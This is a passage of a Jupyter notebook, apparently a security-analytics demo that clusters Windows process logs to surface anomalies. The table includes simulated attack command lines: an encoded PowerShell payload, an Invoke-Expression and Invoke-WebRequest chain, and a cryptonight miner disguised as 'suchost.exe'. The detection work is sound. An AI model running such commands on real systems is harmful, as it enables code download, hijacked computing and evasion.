HAwR44coXPnzly7dg1/f3/atGlD/fr1GTp0KAkJCRiNRqZNmwZcX1o4duxYpk2bxt69ezlx4gSDBg0iMjKSqKgo/P39AYiOjsbZ2ZmRI0cyatQonnjiCYYPH86IESOIj49n8uTJDB48GLPZTJUqVYiJibFrz6Qg7fAoIiIiUrIZLL9fuyZiJ6dPX8Rsvvdfr0qVynPy5AU7VlS89ekTAsCCBXH39PmHrV/3Q726O+qX7dSru6N+2e5h71WlSuWLugQRm2hZoIiIiIiIiB0oXImIiIiIiNiBwpWIiIiIiIgdKFyJiIiIiIjYgcKViIiIiIiIHShciYiIiIiI2IGecyVSTBiNxqIuQURERETug8KVSDHh5ORc1CWIiIiIyH3QskARERERERE70MyVSDEREtK7qEsQERERkfugcCVSTHh5eRd1CSIiIiJyH7QsUERERERExA4UrkREREREROxA4UpERERERMQOFK5ERERERETsQOFKRERERETEDhSuRERERERE7EDhSkRERERExA4UrkREREREROxA4UpERERERMQOFK5ERERERETsQOFKRERERETEDhSuRERERERE7EDhSkRERERExA4UrkREREREROxA4UpERERERMQOFK5ERERERETsQOFKRERERETEDhSuSpCcnBz69et3x3PS09OJiYn5kyoSEREREZEbFK5KkCpVqjB//vw7nnPgwAFOnz79J1UkIiIiIiI3OBR1AQ86i8XC9OnTWb9+PUajkeDgYMxmM4mJiZQqVYoGDRowYcIEcnNzGT9+PNu3b8fR0ZGwsDA6dOiAj48PDRo0YPfu3cTExDB48GA2btzIyJEjcXZ25scff+TSpUu89dZb+Pj4EBsby+XLl5kzZw5vvfVWgVrmzZvH6tWrMZlMtGjRgvDwcDZu3Eh0dDTLly8nOzubXr168cUXX2A0GomKiiI7OxuDwcDQoUNp3rx5EXVRRERERKT4U7gqZF999RU7duxgxYoVXLt2jW7dunHo0CF27dqF0WgkIiKCnJwcVqxYweXLl1m9ejWnT5/m1Vdf5YUXXgDA29ub999/n6ysrAJjZ2ZmsmTJEk6fPk1gYCBeXl4MHDiQH3744aZglZKSQkZGBvHx8RgMBsLDw1m+fDmdO3dm7dq1zJ07l7S0NEaMGEGVKlUYMmQIQUFB+Pr6cuLECUJCQkhKS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TimeGeneratedLastEventTimeNewProcessNameCommandLineClusterSizecommandlineTokensFullpathScoreisSystemSession
22019-02-13 21:04:45+00:002019-02-13 22:13:45+00:00C:\\Windows\\System32\\cscript.exe\"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\"70133022True
12019-02-13 21:04:45.010000+00:002019-02-13 22:13:58.507000+00:00C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV180103028True
142019-02-13 21:08:46.143000+00:002019-02-13 22:08:46.457000+00:00C:\\Windows\\System32\\MusNotification.exeC:\\Windows\\system32\\MusNotification.exe Display463826True
652019-02-13 21:08:46.253000+00:002019-02-13 22:08:46.270000+00:00C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo...45311146True
512019-02-13 21:09:43.893000+00:002019-02-13 22:08:46.537000+00:00C:\\Windows\\System32\\appidcertstorecheck.exeC:\\Windows\\system32\\appidcertstorecheck.exe454285True
392019-02-13 21:09:43.903000+00:002019-02-13 22:03:42.330000+00:00C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV12103028False
02019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.exe\"cmd\"122570True
1602019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding183546True
1592019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\sppsvc.exeC:\\Windows\\system32\\sppsvc.exe152933True
1102019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe\"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\7a9d40f2-490e-446...1186421True
1352019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler1174895True
452019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\W!ndows\\System32\\powershell.exe.\\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld...163283False
442019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\W!ndows\\System32\\powershell.exe.\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...1263283False
432019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\W!ndows\\System32\\suchost.exe.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 41212967False
422019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.execmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com1122570False
412019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Any questions about the commands executed here then please contact one of1162570False
382019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.execmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 21132570True
372019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\dllhost.exeC:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}1123024True
312019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524...1214198True
572019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\UsoClient.exeC:\\Windows\\system32\\usoclient.exe StartScan163180True
602019-02-13 21:10:58.257000+00:002019-02-13 22:11:46.203000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding5103546True
622019-02-13 21:10:58.567000+00:002019-02-13 22:08:46.563000+00:00C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...31310527True
752019-02-13 21:11:41.770000+00:002019-02-13 22:11:41.790000+00:00C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe...2279122True
402019-02-13 22:03:42.640000+00:002019-02-13 22:03:42.877000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Begin Security Demo tasks282570False
\n", + "
" + ], + "text/plain": [ + " TimeGenerated LastEventTime \\\n", + "2 2019-02-13 21:04:45+00:00 2019-02-13 22:13:45+00:00 \n", + "1 2019-02-13 21:04:45.010000+00:00 2019-02-13 22:13:58.507000+00:00 \n", + "14 2019-02-13 21:08:46.143000+00:00 2019-02-13 22:08:46.457000+00:00 \n", + "65 2019-02-13 21:08:46.253000+00:00 2019-02-13 22:08:46.270000+00:00 \n", + "51 2019-02-13 21:09:43.893000+00:00 2019-02-13 22:08:46.537000+00:00 \n", + "39 2019-02-13 21:09:43.903000+00:00 2019-02-13 22:03:42.330000+00:00 \n", + "0 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "160 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "159 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "110 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "135 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "45 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "44 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "43 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "42 